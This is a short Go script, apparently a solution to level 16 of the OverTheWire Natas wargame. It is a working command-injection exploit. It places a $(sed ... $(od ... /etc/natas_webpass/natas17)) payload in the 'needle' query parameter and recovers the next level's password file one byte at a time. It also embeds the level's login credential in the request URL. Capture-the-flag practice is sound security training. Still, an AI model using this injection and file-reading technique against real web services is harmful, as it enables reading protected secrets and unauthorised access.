Natas 16

gistfile1.go

package main

import (
	"fmt"
	"io/ioutil"
	"log"
	"net/http"
	"net/url"
	"strings"
	"sort"
)

func main() {
	dic, err := ioutil.ReadFile("dictionary.txt")
	if err != nil {
		log.Fatal(err)
	}
	dic_ln := strings.Split(string(dic), "\n")

	for i := 0; i<100; i+=1 {
			uri := fmt.Sprintf("^$(sed -n $(od -A n -j %d -N 1 -t d1 /etc/natas_webpass/natas17)p dictionary.txt)$",i)
			
			res, err := http.Get(fmt.Sprintf("http://natas16:3VfCzgaWjEAcmCQphiEPoXi9HtlmVr3L@natas16.natas.labs.overthewire.org/index.php?needle=%s",url.QueryEscape(uri)))
			if err != nil {
				log.Fatal(err)
			}
			robots, err := ioutil.ReadAll(res.Body)
			res.Body.Close()
			if err != nil {
				log.Fatal(err)
			}
			
			content := string(robots)
			pre := strings.Index(content,"<pre>")
			post := strings.Index(content,"</pre>")

			if post > pre+7 {
				needle := content[pre+6:post]
				post2 := strings.Index(needle,"\n")
				needle = needle[:post2]
				nr := sort.SearchStrings(dic_ln,needle)+1
				//sed line numbers are 1 based
				nr += 1
				fmt.Printf("%c",nr)
			}else{
				break
			}
	}	
}